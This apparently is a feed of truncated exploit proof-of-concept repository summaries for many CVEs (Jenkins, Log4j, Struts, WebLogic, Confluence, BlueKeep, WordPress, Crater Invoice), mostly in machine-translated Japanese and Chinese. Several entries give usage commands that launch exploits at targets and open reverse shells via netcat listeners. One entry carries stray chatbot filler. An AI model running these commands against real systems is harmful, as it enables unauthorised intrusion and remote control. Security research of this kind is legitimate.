PoC-CVE-2019-1003030

Jenkins 2.63 スクリプトセキュリティサンドボックスバイパス PoC このプロジェクトは、Jenkins 2.63 で使用される Jenkins SecureGroovyScript 検証エンドポイントへの Groovy ペイロードの作成と配信を自動化します。 このツールはインタラクティブモードとワンショット実行の両方をサポートします。エクスプロイトは出力を返さないため、正常に動作していることを確認するために、独自のAPにcurlを実行するなどの検証が必要です。 このツールは以下をサポートします: インタラクティブコマンドモード 単一コマンド実行 GET および POST...

THM-MagnusBilling-CVE-2023-30258-Exploit

THM-MagnusBilling-CVE-2023-30258 完美！让我们将你的完整文章转换为专业的英文，为 GitHub 仓库做好准备。我还对其进行了润色，以提高清晰度和可读性——这是作品集级别的材料。 ⸻ 🛡️ MagnusBilling RCE → Root CVE-2023-30258 📌 概述 • 目标：10.145.148.203 • 平台：TryHackMe • 漏洞：CVE-2023-30258 • 访问方式：未认证远程代码执行（RCE） • 权限提升：fail2ban 配置错误 • 最终权限：Root ⸻ 🔍 1. 侦察 端口扫描 rustscan -a...

CVE-2024-27956-RCE

CVE-2024-27956-RCE CVE-2024-27956 的 PoC，ValvePress Automatic 插件中的 SQL 注入漏洞。该 PoC 利用此漏洞在目标站点中创建用户并赋予管理员权限。在 WordPress 中获得管理员权限可导致远程代码执行。 使用方法 root@kitploit: git clone https://github.com/diego-tella/CVE-2024-27956-RCE/ cd CVE-2024-27956-RCE python exploit.py http://target.com Payloads 创建用户的 SQL 注入...

log4j-CVE-2021-4104

HEAD Log4jShell1.x Log4j RCE 1.x Poc 攻击 限制 1. 目标具有JMS环境 2. 你需要获得访问权限以修改log4j.properties文件 结论 不如log4shell 2.x有用 Log4shell 主题 https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j 欢迎在reapoc中贡献 https://github.com/cckuailong/reapoc log4j-CVE-2021-4104...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php phprevshell.php の 7 行目の $ip を変更してください nc -lvnp 1234...

CVE-2018-11776

CVE-2018-11776 对CVE-2018-11776漏洞的调查，该漏洞允许攻击者远程执行代码并控制基于Apache Struts的应用程序。 安装与利用 https://github.com/hook-s3c/CVE-2018-11776-Python-PoC Suricata 文件"test.rules"中提供了一条用于Suricata工具的规则。该规则可检测网络流量中的可利用漏洞。 该规则在/etc/suricata/suricata.yaml文件中被引用： root@kitploit: default-rule-path: /etc/suricata rule-files:...

CVE-2017-3066

CVE-2017-3066 説明 Adobe ColdFusion は Action Message Format AMF を使用します。AMF プロトコルはカスタムバイナリシリアライゼーションプロトコルです。AMF0 と AMF3 の 2 つの形式があります。Action メッセージはヘッダーとボディで構成されます。AMF にはさまざまな言語の実装があります。Java には Adobe BlazeDS 現在は Apache BlazeDS があり、これは Adobe ColdFusion でも使用されています。 Adobe ColdFusion は、信頼できない Java...

CVE-2023-46604

CVE-2023-46604 要求環境に従って、被害者マシンとターゲットマシンの2つのイメージを含むdocker-composeを構築します 被害者マシンで、ActiveMQを起動します 攻撃者マシンに切り替えます: • ポック（poc）を送信するためにHTTPサービスを開く: python3 -m http.server • netcatを使用して攻撃者マシンへの接続を待ち受ける nc -nlvp 4444 • リバースシェル接続を作成するペイロードを攻撃者マシンに送信する python3 exploit.py -i 172.18.0.3 -p 61616 --xml...

CVE-2024-53677

CVE-2024-53677 CVE-2024-53677 の概念実証エクスプロイト - Apache Struts ファイルアップロードパストラバーサルの脆弱性によるリモートコード実行...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

CVE-2019-0708

CVE-2019-0708 批量检测（一括検出） 0x01 はじめに CVE-2019-0708 Windows RDP リモートコード実行の脆弱性 Windows 系サーバーは2019年5月15日に、高危険度の脆弱性が公表されました。この脆弱性の影響範囲は広く、windows2003、windows2008、windows2008 R2、windows xp...

confluence-ognl-rce

CVE-2022-26134 - Atlassian Confluence OGNL RCE このスクリプトは、Confluence Data Center および Server における OGNL インジェクションを利用した認証不要のリモートコード実行エクスプロイトプリミティブのラッパーです（CVE-2022-26314）。 ベンダーアドバイザリ 元々はPoC throughthewire.py に触発されたもので、私が追加した「改良点」は以下のとおりです： コマンドをbase64エンコードすることによる実際のRCE -c @/path/to/file...

CVE-2024-37759_PoC

CVE-2024-37759 PoC 説明 DataGear バージョン 5.0.0 以前には、リモートコード実行につながる SpEL 式インジェクションの脆弱性があります。 エクスプロイト CVE エクスプロイトの詳細 /data/schemaId/tableName/view インターフェースにリクエストを送信すると、データベーステーブルに主キーがない場合、攻撃者は data フィールドに悪意のある SpEL 式を注入できます。「view」ボタンがクリックされると、SpEL 式が実行されます。 攻撃を実行するには、次のように悪意のあるデータベーステーブルを作成できます:...

CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - Confluence Pre-Auth RCE | OGNL インジェクション PoC スクリプトをダウンロード root@kitploit: git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 エクスプロイトを実行 root@kitploit: USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com i...

CVE-2025-49619

CVE-2025-49619 PoC 该脚本利用 Skyvern 中的 CVE-2025-49619 漏洞执行反弹 shell 命令。 作者 姓名： Cristian Branet GitHub： cristibtz 使用方法 1. 启动监听器 root@kitploit: nc -lvnp 2. 运行漏洞利用程序 root@kitploit: python3 exploit.py -u "http://:" -k "" -i -p ：Skyvern 服务器 IP ：Skyvern 服务器端口 ：你的 Skyvern API 密钥（设置 → API 密钥） ：用于接收反弹 shell...

CVE-2019-0708-Msf--

CVE-2019-0708 認証不要の CVE-2019-0708 "BlueKeep" スキャナー PoC 作成者: @JaGoTu および @zerosum0x0. 技術的詳細: https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit モジュール Metasploit モジュールは rapid7:master に取り込まれました。 msf5 use auxiliary/scanner/rdp/cve20190708bluekeep...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager RCE Nexus Repository Manager 3 認証なしのリモートコード実行（RCE） | | \ / | | / /| | | || | / / / / / / | | | / || | |/ || / / // || / / root@kitploit: Nexus RCE 3.15.0 Python By jas502n python CVE-2019-7238.py http://10.10.20.166:8081 whoami...

CVE-2026-57863

Crater Invoice (through 6.0.6 ) contains a path traversal vulnerability in its self-update API. The root cause is unsanitized ZIP entry names containing ../ sequences passed to PHP's ZipArchive::extractTo(), allowing authenticated company owners to write arbitrary files outside the intended extra...

EUVD-2026-65478

Crater Invoice through 6.0.6 contains a path traversal vulnerability in the self-update API that allows authenticated company owners to write arbitrary files outside the intended extraction directory by supplying crafted ZIP archives with ../ sequences to the unzip endpoint. Attackers can exploit...

CVE-2026-57863 Crater Invoice 6.0.6 Path Traversal RCE via update/unzip endpoint

Crater Invoice through 6.0.6 contains a path traversal vulnerability in the self-update API that allows authenticated company owners to write arbitrary files outside the intended extraction directory by supplying crafted ZIP archives with ../ sequences to the unzip endpoint. Attackers can exploit...